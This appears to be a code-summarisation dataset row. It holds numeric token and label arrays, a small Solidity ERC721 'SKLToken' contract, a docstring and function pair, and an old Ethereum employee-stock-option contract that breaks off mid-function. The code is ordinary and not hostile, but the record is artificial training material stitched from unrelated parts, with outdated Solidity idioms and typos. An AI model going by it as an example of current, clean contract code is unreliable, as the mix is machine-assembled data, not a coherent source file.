0,
0,
0,
0,
0,
0
]
| [
1,
565,
445,
25722,
15647,
26090,
774,
42,
9341,
12,
758,
1724,
1989,
18,
758,
1724,
2502,
389,
72,
13,
2713,
288,
203,
3639,
2254,
5034,
389,
307,
1235,
273,
389,
72,
18,
307,
554,
15647,
26090,
5621,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
pragma solidity ^0.4.24;
import "./PO8BaseToken.sol";
import "openzeppelin-solidity/contracts/token/ERC721/ERC721Full.sol";
contract SKLToken is ERC721Full("SKU Token", "SKL"), Ownable {
using SafeMath for uint256;
struct Skully {
uint256 birthTime;
uint256 genes;
uint256 attack;
uint256 defend;
}
Skully[] private sklStore;
bool public isMintable = true;
modifier mintable {
require(
isMintable == true,
"New skullys are no logger mintable on this contract"
);
_;
}
event Mint(address _to, uint256 _tokenId);
/// @dev mint(): mint a new Gen0 skullys. These are the tokens that other skullys will be "closed form".
/// @param _to address to mint to.
/// @param _attack attack numeral of the skullys
/// @param _defend defend numeral of the skullys
/// @param _genes gen of the skullys
/// @param _tokenURI A URL to the JSON file containing the metadata for the skullys. See metadata.json for an example.
/// @return the tokenId of the skullys hash been minted. Note that in a transaction only the tx_hash in returned
function mint(address _to, uint256 _attack, uint256 _defend, uint256 _genes, string _tokenURI) public mintable onlyOwner returns (uint256 tokenId) {
Skully memory _sklObj = Skully({
birthTime: now,
attack: _attack,
defend: _defend,
genes: _genes
});
// The new Skully is pushed onto the array and minted
// note that solidity uses 0 as a default value when an item is not found in a mapping
tokenId = sklStore.push(_sklObj) - 1;
_mint(_to, tokenId);
_setTokenURI(tokenId, _tokenURI);
emit Mint(_to, tokenId);
}
/// @dev setMintable(): set the isMintable public variable. When set to `false`, no new
/// kudos are allowed to be minted or cloned. However, all of already
/// existing kudos will remain unchanged.
/// @param _isMintable flag for the mintable function modifier.
function setMintable(bool _isMintable) public onlyOwner {
isMintable = _isMintable;
}
/// @dev setTokenURI(): Set an existing token URI.
/// @param _tokenId The token id.
/// @param _tokenURI The tokenURI string. Typically this will be a link to a json file on IPFS.
function setTokenURI(uint256 _tokenId, string _tokenURI) public onlyOwner {
_setTokenURI(_tokenId, _tokenURI);
}
/// @dev getSkullyById(): Return a skullys struct/array given a skullys Id.
/// @param _tokenId The Skullys Id.
/// @return the Skullys struct, in array form.
function getSkullyById(uint256 _tokenId) view public returns (uint256 birthTime, uint256 attack, uint256 defend, uint256 genes)
{
Skully memory _sklObj = sklStore[_tokenId];
attack = _sklObj.attack;
defend = _sklObj.defend;
birthTime = _sklObj.birthTime;
genes = _sklObj.genes;
}
/// @dev getLatestId(): Returns the newest skullys Id in the skullys array.
/// @return the latest skullys id.
function getLatestId() view public returns (uint256 tokenId)
{
if (sklStore.length == 0) {
tokenId = 0;
} else {
tokenId = sklStore.length - 1;
}
}
}
| @dev getSkullyById(): Return a skullys struct/array given a skullys Id. @param _tokenId The Skullys Id. @return the Skullys struct, in array form. | function getSkullyById(uint256 _tokenId) view public returns (uint256 birthTime, uint256 attack, uint256 defend, uint256 genes)
{
Skully memory _sklObj = sklStore[_tokenId];
attack = _sklObj.attack;
defend = _sklObj.defend;
birthTime = _sklObj.birthTime;
genes = _sklObj.genes;
}
| 12,825,830 | [
1,
588,
5925,
420,
93,
5132,
13332,
2000,
279,
4343,
420,
1900,
1958,
19,
1126,
864,
279,
4343,
420,
1900,
3124,
18,
225,
389,
2316,
548,
1021,
10362,
420,
1900,
3124,
18,
327,
326,
10362,
420,
1900,
1958,
16,
316,
526,
646,
18,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
445,
1322,
79,
420,
93,
5132,
12,
11890,
5034,
389,
2316,
548,
13,
1476,
1071,
1135,
261,
11890,
5034,
17057,
950,
16,
2254,
5034,
13843,
16,
2254,
5034,
1652,
409,
16,
2254,
5034,
11423,
13,
203,
565,
288,
203,
3639,
10362,
420,
93,
3778,
389,
7771,
80,
2675,
273,
4343,
80,
2257,
63,
67,
2316,
548,
15533,
203,
203,
3639,
13843,
273,
389,
7771,
80,
2675,
18,
4558,
484,
31,
203,
3639,
1652,
409,
273,
389,
7771,
80,
2675,
18,
536,
409,
31,
203,
3639,
17057,
950,
273,
389,
7771,
80,
2675,
18,
22531,
950,
31,
203,
3639,
11423,
273,
389,
7771,
80,
2675,
18,
18036,
31,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
//Address: 0xd35504e0f9bdcf8bca1ce7ec51fa2db514029182
//Contract name: EmployeesList
//Balance: 0 Ether
//Verification Date: 6/16/2017
//Transacion Count: 2
// CODE STARTS HERE
pragma solidity ^0.4.11;
contract Ownable {
// replace with proper zeppelin smart contract
address public owner;
function Ownable() {
owner = msg.sender;
}
modifier onlyOwner() {
if (msg.sender != owner)
throw;
_;
}
function transferOwnership(address newOwner) onlyOwner {
if (newOwner != address(0))
owner = newOwner;
}
}
contract Destructable is Ownable {
function selfdestruct() external onlyOwner {
// free ethereum network state when done
selfdestruct(owner);
}
}
contract Math {
// scale of the emulated fixed point operations
uint constant public FP_SCALE = 10000;
// todo: should be a library
function divRound(uint v, uint d) internal constant returns(uint) {
// round up if % is half or more
return (v + (d/2)) / d;
}
function absDiff(uint v1, uint v2) public constant returns(uint) {
return v1 > v2 ? v1 - v2 : v2 - v1;
}
function safeMul(uint a, uint b) public constant returns (uint) {
uint c = a * b;
if (a == 0 || c / a == b)
return c;
else
throw;
}
function safeAdd(uint a, uint b) internal constant returns (uint) {
uint c = a + b;
if (!(c>=a && c>=b))
throw;
return c;
}
}
contract TimeSource {
uint32 private mockNow;
function currentTime() public constant returns (uint32) {
// we do not support dates much into future (Sun, 07 Feb 2106 06:28:15 GMT)
if (block.timestamp > 0xFFFFFFFF)
throw;
return mockNow > 0 ? mockNow : uint32(block.timestamp);
}
function mockTime(uint32 t) public {
// no mocking on mainnet
if (block.number > 3316029)
throw;
mockNow = t;
}
}
contract BaseOptionsConverter {
// modifiers are inherited, check `owned` pattern
// http://solidity.readthedocs.io/en/develop/contracts.html#function-modifiers
modifier onlyESOP() {
if (msg.sender != getESOP())
throw;
_;
}
// returns ESOP address which is a sole executor of exerciseOptions function
function getESOP() public constant returns (address);
// deadline for employees to exercise options
function getExercisePeriodDeadline() public constant returns (uint32);
// exercise of options for given employee and amount, please note that employee address may be 0
// .. in which case the intention is to burn options
function exerciseOptions(address employee, uint poolOptions, uint extraOptions, uint bonusOptions,
bool agreeToAcceleratedVestingBonusConditions) onlyESOP public;
}
contract ESOPTypes {
// enums are numbered starting from 0. NotSet is used to check for non existing mapping
enum EmployeeState { NotSet, WaitingForSignature, Employed, Terminated, OptionsExercised }
// please note that 32 bit unsigned int is used to represent UNIX time which is enough to represent dates until Sun, 07 Feb 2106 06:28:15 GMT
// storage access is optimized so struct layout is important
struct Employee {
// when vesting starts
uint32 issueDate;
// wait for employee signature until that time
uint32 timeToSign;
// date when employee was terminated, 0 for not terminated
uint32 terminatedAt;
// when fade out starts, 0 for not set, initally == terminatedAt
// used only when calculating options returned to pool
uint32 fadeoutStarts;
// poolOptions employee gets (exit bonus not included)
uint32 poolOptions;
// extra options employee gets (neufund will not this option)
uint32 extraOptions;
// time at which employee got suspended, 0 - not suspended
uint32 suspendedAt;
// what is employee current status, takes 8 bit in storage
EmployeeState state;
// index in iterable mapping
uint16 idx;
// reserve until full 256 bit word
//uint24 reserved;
}
function serializeEmployee(Employee memory employee)
internal
constant
returns(uint[9] emp)
{
// guess what: struct layout in memory is aligned to word (256 bits)
// struct in storage is byte aligned
assembly {
// return memory aligned struct as array of words
// I just wonder when 'employee' memory is deallocated
// answer: memory is not deallocated until transaction ends
emp := employee
}
}
function deserializeEmployee(uint[9] serializedEmployee)
internal
constant
returns (Employee memory emp)
{
assembly { emp := serializedEmployee }
}
}
contract CodeUpdateable is Ownable {
// allows to stop operations and migrate data to different contract
enum CodeUpdateState { CurrentCode, OngoingUpdate /*, CodeUpdated*/}
CodeUpdateState public codeUpdateState;
modifier isCurrentCode() {
if (codeUpdateState != CodeUpdateState.CurrentCode)
throw;
_;
}
modifier inCodeUpdate() {
if (codeUpdateState != CodeUpdateState.OngoingUpdate)
throw;
_;
}
function beginCodeUpdate() public onlyOwner isCurrentCode {
codeUpdateState = CodeUpdateState.OngoingUpdate;
}
function cancelCodeUpdate() public onlyOwner inCodeUpdate {
codeUpdateState = CodeUpdateState.CurrentCode;
}
function completeCodeUpdate() public onlyOwner inCodeUpdate {
selfdestruct(owner);
}
}
contract EmployeesList is ESOPTypes, Ownable, Destructable {
event CreateEmployee(address indexed e, uint32 poolOptions, uint32 extraOptions, uint16 idx);
event UpdateEmployee(address indexed e, uint32 poolOptions, uint32 extraOptions, uint16 idx);
event ChangeEmployeeState(address indexed e, EmployeeState oldState, EmployeeState newState);
event RemoveEmployee(address indexed e);
mapping (address => Employee) employees;
// addresses in the mapping, ever
address[] public addresses;
function size() external constant returns (uint16) {
return uint16(addresses.length);
}
function setEmployee(address e, uint32 issueDate, uint32 timeToSign, uint32 terminatedAt, uint32 fadeoutStarts,
uint32 poolOptions, uint32 extraOptions, uint32 suspendedAt, EmployeeState state)
external
onlyOwner
returns (bool isNew)
{
uint16 empIdx = employees[e].idx;
if (empIdx == 0) {
// new element
uint size = addresses.length;
if (size == 0xFFFF)
throw;
isNew = true;
empIdx = uint16(size + 1);
addresses.push(e);
CreateEmployee(e, poolOptions, extraOptions, empIdx);
} else {
isNew = false;
UpdateEmployee(e, poolOptions, extraOptions, empIdx);
}
employees[e] = Employee({
issueDate: issueDate,
timeToSign: timeToSign,
terminatedAt: terminatedAt,
fadeoutStarts: fadeoutStarts,
poolOptions: poolOptions,
extraOptions: extraOptions,
suspendedAt: suspendedAt,
state: state,
idx: empIdx
});
}
function changeState(address e, EmployeeState state)
external
onlyOwner
{
if (employees[e].idx == 0)
throw;
ChangeEmployeeState(e, employees[e].state, state);
employees[e].state = state;
}
function setFadeoutStarts(address e, uint32 fadeoutStarts)
external
onlyOwner
{
if (employees[e].idx == 0)
throw;
UpdateEmployee(e, employees[e].poolOptions, employees[e].extraOptions, employees[e].idx);
employees[e].fadeoutStarts = fadeoutStarts;
}
function removeEmployee(address e)
external
onlyOwner
returns (bool)
{
uint16 empIdx = employees[e].idx;
if (empIdx > 0) {
delete employees[e];
delete addresses[empIdx-1];
RemoveEmployee(e);
return true;
}
return false;
}
function terminateEmployee(address e, uint32 issueDate, uint32 terminatedAt, uint32 fadeoutStarts, EmployeeState state)
external
onlyOwner
{
if (state != EmployeeState.Terminated)
throw;
Employee employee = employees[e]; // gets reference to storage and optimizer does it with one SSTORE
if (employee.idx == 0)
throw;
ChangeEmployeeState(e, employee.state, state);
employee.state = state;
employee.issueDate = issueDate;
employee.terminatedAt = terminatedAt;
employee.fadeoutStarts = fadeoutStarts;
employee.suspendedAt = 0;
UpdateEmployee(e, employee.poolOptions, employee.extraOptions, employee.idx);
}
function getEmployee(address e)
external
constant
returns (uint32, uint32, uint32, uint32, uint32, uint32, uint32, EmployeeState)
{
Employee employee = employees[e];
if (employee.idx == 0)
throw;
// where is struct zip/unzip :>
return (employee.issueDate, employee.timeToSign, employee.terminatedAt, employee.fadeoutStarts,
employee.poolOptions, employee.extraOptions, employee.suspendedAt, employee.state);
}
function hasEmployee(address e)
external
constant
returns (bool)
{
// this is very inefficient - whole word is loaded just to check this
return employees[e].idx != 0;
}
function getSerializedEmployee(address e)
external
constant
returns (uint[9])
{
Employee memory employee = employees[e];
if (employee.idx == 0)
throw;
return serializeEmployee(employee);
}
}
contract ERC20OptionsConverter is BaseOptionsConverter, TimeSource, Math {
// see base class for explanations
address esopAddress;
uint32 exercisePeriodDeadline;
// balances for converted options
mapping(address => uint) internal balances;
// total supply
uint public totalSupply;
// deadline for all options conversion including company's actions
uint32 public optionsConversionDeadline;
event Transfer(address indexed from, address indexed to, uint value);
modifier converting() {
// throw after deadline
if (currentTime() >= exercisePeriodDeadline)
throw;
_;
}
modifier converted() {
// throw before deadline
if (currentTime() < optionsConversionDeadline)
throw;
_;
}
function getESOP() public constant returns (address) {
return esopAddress;
}
function getExercisePeriodDeadline() public constant returns(uint32) {
return exercisePeriodDeadline;
}
function exerciseOptions(address employee, uint poolOptions, uint extraOptions, uint bonusOptions,
bool agreeToAcceleratedVestingBonusConditions)
public
onlyESOP
converting
{
// if no overflow on totalSupply, no overflows later
uint options = safeAdd(safeAdd(poolOptions, extraOptions), bonusOptions);
totalSupply = safeAdd(totalSupply, options);
balances[employee] += options;
Transfer(0, employee, options);
}
function transfer(address _to, uint _value) converted public {
if (balances[msg.sender] < _value)
throw;
balances[msg.sender] -= _value;
balances[_to] += _value;
Transfer(msg.sender, _to, _value);
}
function balanceOf(address _owner) constant public returns (uint balance) {
return balances[_owner];
}
function () payable {
throw;
}
function ERC20OptionsConverter(address esop, uint32 exerciseDeadline, uint32 conversionDeadline) {
esopAddress = esop;
exercisePeriodDeadline = exerciseDeadline;
optionsConversionDeadline = conversionDeadline;
}
}
contract ESOPMigration {
modifier onlyOldESOP() {
if (msg.sender != getOldESOP())
throw;
_;
}
// returns ESOP address which is a sole executor of exerciseOptions function
function getOldESOP() public constant returns (address);
// migrate employee to new ESOP contract, throws if not possible
// in simplest case new ESOP contract should derive from this contract and implement abstract methods
// employees list is available for inspection by employee address
// poolOptions and extraOption is amount of options transferred out of old ESOP contract
function migrate(address employee, uint poolOptions, uint extraOptions) onlyOldESOP public;
}
contract ESOP is ESOPTypes, CodeUpdateable, TimeSource {
// employee changed events
event ESOPOffered(address indexed employee, address company, uint32 poolOptions, uint32 extraOptions);
event EmployeeSignedToESOP(address indexed employee);
event SuspendEmployee(address indexed employee, uint32 suspendedAt);
event ContinueSuspendedEmployee(address indexed employee, uint32 continuedAt, uint32 suspendedPeriod);
event TerminateEmployee(address indexed employee, address company, uint32 terminatedAt, TerminationType termType);
event EmployeeOptionsExercised(address indexed employee, address exercisedFor, uint32 poolOptions, bool disableAcceleratedVesting);
event EmployeeMigrated(address indexed employee, address migration, uint pool, uint extra);
// esop changed events
event ESOPOpened(address company);
event OptionsConversionOffered(address company, address converter, uint32 convertedAt, uint32 exercisePeriodDeadline);
enum ESOPState { New, Open, Conversion }
// use retrun codes until revert opcode is implemented
enum ReturnCodes { OK, InvalidEmployeeState, TooLate, InvalidParameters, TooEarly }
// event raised when return code from a function is not OK, when OK is returned one of events above is raised
event ReturnCode(ReturnCodes rc);
enum TerminationType { Regular, BadLeaver }
//CONFIG
OptionsCalculator public optionsCalculator;
// total poolOptions in The Pool
uint public totalPoolOptions;
// ipfs hash of document establishing this ESOP
bytes public ESOPLegalWrapperIPFSHash;
// company address
address public companyAddress;
// root of immutable root of trust pointing to given ESOP implementation
address public rootOfTrust;
// default period for employee signature
uint32 constant public MINIMUM_MANUAL_SIGN_PERIOD = 2 weeks;
// STATE
// poolOptions that remain to be assigned
uint public remainingPoolOptions;
// state of ESOP
ESOPState public esopState; // automatically sets to Open (0)
// list of employees
EmployeesList public employees;
// how many extra options inserted
uint public totalExtraOptions;
// when conversion event happened
uint32 public conversionOfferedAt;
// employee conversion deadline
uint32 public exerciseOptionsDeadline;
// option conversion proxy
BaseOptionsConverter public optionsConverter;
// migration destinations per employee
mapping (address => ESOPMigration) private migrations;
modifier hasEmployee(address e) {
// will throw on unknown address
if (!employees.hasEmployee(e))
throw;
_;
}
modifier onlyESOPNew() {
if (esopState != ESOPState.New)
throw;
_;
}
modifier onlyESOPOpen() {
if (esopState != ESOPState.Open)
throw;
_;
}
modifier onlyESOPConversion() {
if (esopState != ESOPState.Conversion)
throw;
_;
}
modifier onlyCompany() {
if (companyAddress != msg.sender)
throw;
_;
}
function distributeAndReturnToPool(uint distributedOptions, uint idx)
internal
returns (uint)
{
// enumerate all employees that were offered poolOptions after than fromIdx -1 employee
Employee memory emp;
for (uint i = idx; i < employees.size(); i++) {
address ea = employees.addresses(i);
if (ea != 0) { // address(0) is deleted employee
emp = _loademp(ea);
// skip employees with no poolOptions and terminated employees
if (emp.poolOptions > 0 && ( emp.state == EmployeeState.WaitingForSignature || emp.state == EmployeeState.Employed) ) {
uint newoptions = optionsCalculator.calcNewEmployeePoolOptions(distributedOptions);
emp.poolOptions += uint32(newoptions);
distributedOptions -= uint32(newoptions);
_saveemp(ea, emp);
}
}
}
return distributedOptions;
}
function removeEmployeesWithExpiredSignaturesAndReturnFadeout()
onlyESOPOpen
isCurrentCode
public
{
// removes employees that didn't sign and sends their poolOptions back to the pool
// computes fadeout for terminated employees and returns it to pool
// we let anyone to call that method and spend gas on it
Employee memory emp;
uint32 ct = currentTime();
for (uint i = 0; i < employees.size(); i++) {
address ea = employees.addresses(i);
if (ea != 0) { // address(0) is deleted employee
var ser = employees.getSerializedEmployee(ea);
emp = deserializeEmployee(ser);
// remove employees with expired signatures
if (emp.state == EmployeeState.WaitingForSignature && ct > emp.timeToSign) {
remainingPoolOptions += distributeAndReturnToPool(emp.poolOptions, i+1);
totalExtraOptions -= emp.extraOptions;
// actually this just sets address to 0 so iterator can continue
employees.removeEmployee(ea);
}
// return fadeout to pool
if (emp.state == EmployeeState.Terminated && ct > emp.fadeoutStarts) {
var (returnedPoolOptions, returnedExtraOptions) = optionsCalculator.calculateFadeoutToPool(ct, ser);
if (returnedPoolOptions > 0 || returnedExtraOptions > 0) {
employees.setFadeoutStarts(ea, ct);
// options from fadeout are not distributed to other employees but returned to pool
remainingPoolOptions += returnedPoolOptions;
// we maintain extraPool for easier statistics
totalExtraOptions -= returnedExtraOptions;
}
}
}
}
}
function openESOP(uint32 pTotalPoolOptions, bytes pESOPLegalWrapperIPFSHash)
external
onlyCompany
onlyESOPNew
isCurrentCode
returns (ReturnCodes)
{
// options are stored in unit32
if (pTotalPoolOptions > 1100000 || pTotalPoolOptions < 10000) {
return _logerror(ReturnCodes.InvalidParameters);
}
totalPoolOptions = pTotalPoolOptions;
remainingPoolOptions = totalPoolOptions;
ESOPLegalWrapperIPFSHash = pESOPLegalWrapperIPFSHash;
esopState = ESOPState.Open;
ESOPOpened(companyAddress);
return ReturnCodes.OK;
}
function offerOptionsToEmployee(address e, uint32 issueDate, uint32 timeToSign, uint32 extraOptions, bool poolCleanup)
external
onlyESOPOpen
onlyCompany
isCurrentCode
returns (ReturnCodes)
{
// do not add twice
if (employees.hasEmployee(e)) {
return _logerror(ReturnCodes.InvalidEmployeeState);
}
if (timeToSign < currentTime() + MINIMUM_MANUAL_SIGN_PERIOD) {
return _logerror(ReturnCodes.TooLate);
}
if (poolCleanup) {
// recover poolOptions for employees with expired signatures
// return fade out to pool
removeEmployeesWithExpiredSignaturesAndReturnFadeout();
}
uint poolOptions = optionsCalculator.calcNewEmployeePoolOptions(remainingPoolOptions);
if (poolOptions > 0xFFFFFFFF)
throw;
Employee memory emp = Employee({
issueDate: issueDate, timeToSign: timeToSign, terminatedAt: 0, fadeoutStarts: 0, poolOptions: uint32(poolOptions),
extraOptions: extraOptions, suspendedAt: 0, state: EmployeeState.WaitingForSignature, idx: 0
});
_saveemp(e, emp);
remainingPoolOptions -= poolOptions;
totalExtraOptions += extraOptions;
ESOPOffered(e, companyAddress, uint32(poolOptions), extraOptions);
return ReturnCodes.OK;
}
// todo: implement group add someday, however func distributeAndReturnToPool gets very complicated
// todo: function calcNewEmployeePoolOptions(uint remaining, uint8 groupSize)
// todo: function addNewEmployeesToESOP(address[] emps, uint32 issueDate, uint32 timeToSign)
function offerOptionsToEmployeeOnlyExtra(address e, uint32 issueDate, uint32 timeToSign, uint32 extraOptions)
external
onlyESOPOpen
onlyCompany
isCurrentCode
returns (ReturnCodes)
{
// do not add twice
if (employees.hasEmployee(e)) {
return _logerror(ReturnCodes.InvalidEmployeeState);
}
if (timeToSign < currentTime() + MINIMUM_MANUAL_SIGN_PERIOD) {
return _logerror(ReturnCodes.TooLate);
}
Employee memory emp = Employee({
issueDate: issueDate, timeToSign: timeToSign, terminatedAt: 0, fadeoutStarts: 0, poolOptions: 0,
extraOptions: extraOptions, suspendedAt: 0, state: EmployeeState.WaitingForSignature, idx: 0
});
_saveemp(e, emp);
totalExtraOptions += extraOptions;
ESOPOffered(e, companyAddress, 0, extraOptions);
return ReturnCodes.OK;
}
function increaseEmployeeExtraOptions(address e, uint32 extraOptions)
external
onlyESOPOpen
onlyCompany
isCurrentCode
hasEmployee(e)
returns (ReturnCodes)
{
Employee memory emp = _loademp(e);
if (emp.state != EmployeeState.Employed && emp.state != EmployeeState.WaitingForSignature) {
return _logerror(ReturnCodes.InvalidEmployeeState);
}
emp.extraOptions += extraOptions;
_saveemp(e, emp);
totalExtraOptions += extraOptions;
ESOPOffered(e, companyAddress, 0, extraOptions);
return ReturnCodes.OK;
}
function employeeSignsToESOP()
external
hasEmployee(msg.sender)
onlyESOPOpen
isCurrentCode
returns (ReturnCodes)
{
Employee memory emp = _loademp(msg.sender);
if (emp.state != EmployeeState.WaitingForSignature) {
return _logerror(ReturnCodes.InvalidEmployeeState);
}
uint32 t = currentTime();
if (t > emp.timeToSign) {
remainingPoolOptions += distributeAndReturnToPool(emp.poolOptions, emp.idx);
totalExtraOptions -= emp.extraOptions;
employees.removeEmployee(msg.sender);
return _logerror(ReturnCodes.TooLate);
}
employees.changeState(msg.sender, EmployeeState.Employed);
EmployeeSignedToESOP(msg.sender);
return ReturnCodes.OK;
}
function toggleEmployeeSuspension(address e, uint32 toggledAt)
external
onlyESOPOpen
onlyCompany
hasEmployee(e)
isCurrentCode
returns (ReturnCodes)
{
Employee memory emp = _loademp(e);
if (emp.state != EmployeeState.Employed) {
return _logerror(ReturnCodes.InvalidEmployeeState);
}
if (emp.suspendedAt == 0) {
//suspend action
emp.suspendedAt = toggledAt;
SuspendEmployee(e, toggledAt);
} else {
if (emp.suspendedAt > toggledAt) {
return _logerror(ReturnCodes.TooLate);
}
uint32 suspendedPeriod = toggledAt - emp.suspendedAt;
// move everything by suspension period by changing issueDate
emp.issueDate += suspendedPeriod;
emp.suspendedAt = 0;
ContinueSuspendedEmployee(e, toggledAt, suspendedPeriod);
}
_saveemp(e, emp);
return ReturnCodes.OK;
}
function terminateEmployee(address e, uint32 terminatedAt, uint8 terminationType)
external
onlyESOPOpen
onlyCompany
hasEmployee(e)
isCurrentCode
returns (ReturnCodes)
{
// terminates an employee
TerminationType termType = TerminationType(terminationType);
Employee memory emp = _loademp(e);
// todo: check termination time against issueDate
if (terminatedAt < emp.issueDate) {
return _logerror(ReturnCodes.InvalidParameters);
}
if (emp.state == EmployeeState.WaitingForSignature)
termType = TerminationType.BadLeaver;
else if (emp.state != EmployeeState.Employed) {
return _logerror(ReturnCodes.InvalidEmployeeState);
}
// how many poolOptions returned to pool
uint returnedOptions;
uint returnedExtraOptions;
if (termType == TerminationType.Regular) {
// regular termination, compute suspension
if (emp.suspendedAt > 0 && emp.suspendedAt < terminatedAt)
emp.issueDate += terminatedAt - emp.suspendedAt;
// vesting applies
returnedOptions = emp.poolOptions - optionsCalculator.calculateVestedOptions(terminatedAt, emp.issueDate, emp.poolOptions);
returnedExtraOptions = emp.extraOptions - optionsCalculator.calculateVestedOptions(terminatedAt, emp.issueDate, emp.extraOptions);
employees.terminateEmployee(e, emp.issueDate, terminatedAt, terminatedAt, EmployeeState.Terminated);
} else if (termType == TerminationType.BadLeaver) {
// bad leaver - employee is kicked out from ESOP, return all poolOptions
returnedOptions = emp.poolOptions;
returnedExtraOptions = emp.extraOptions;
employees.removeEmployee(e);
}
remainingPoolOptions += distributeAndReturnToPool(returnedOptions, emp.idx);
totalExtraOptions -= returnedExtraOptions;
TerminateEmployee(e, companyAddress, terminatedAt, termType);
return ReturnCodes.OK;
}
function offerOptionsConversion(BaseOptionsConverter converter)
external
onlyESOPOpen
onlyCompany
isCurrentCode
returns (ReturnCodes)
{
uint32 offerMadeAt = currentTime();
if (converter.getExercisePeriodDeadline() - offerMadeAt < MINIMUM_MANUAL_SIGN_PERIOD) {
return _logerror(ReturnCodes.TooLate);
}
// exerciseOptions must be callable by us
if (converter.getESOP() != address(this)) {
return _logerror(ReturnCodes.InvalidParameters);
}
// return to pool everything we can
removeEmployeesWithExpiredSignaturesAndReturnFadeout();
// from now vesting and fadeout stops, no new employees may be added
conversionOfferedAt = offerMadeAt;
exerciseOptionsDeadline = converter.getExercisePeriodDeadline();
optionsConverter = converter;
// this is very irreversible
esopState = ESOPState.Conversion;
OptionsConversionOffered(companyAddress, address(converter), offerMadeAt, exerciseOptionsDeadline);
return ReturnCodes.OK;
}
function exerciseOptionsInternal(uint32 calcAtTime, address employee, address exerciseFor,
bool disableAcceleratedVesting)
internal
returns (ReturnCodes)
{
Employee memory emp = _loademp(employee);
if (emp.state == EmployeeState.OptionsExercised) {
return _logerror(ReturnCodes.InvalidEmployeeState);
}
// if we are burning options then send 0
if (exerciseFor != address(0)) {
var (pool, extra, bonus) = optionsCalculator.calculateOptionsComponents(serializeEmployee(emp),
calcAtTime, conversionOfferedAt, disableAcceleratedVesting);
}
// call before options conversion contract to prevent re-entry
employees.changeState(employee, EmployeeState.OptionsExercised);
// exercise options in the name of employee and assign those to exerciseFor
optionsConverter.exerciseOptions(exerciseFor, pool, extra, bonus, !disableAcceleratedVesting);
EmployeeOptionsExercised(employee, exerciseFor, uint32(pool + extra + bonus), !disableAcceleratedVesting);
return ReturnCodes.OK;
}
function employeeExerciseOptions(bool agreeToAcceleratedVestingBonusConditions)
external
onlyESOPConversion
hasEmployee(msg.sender)
isCurrentCode
returns (ReturnCodes)
{
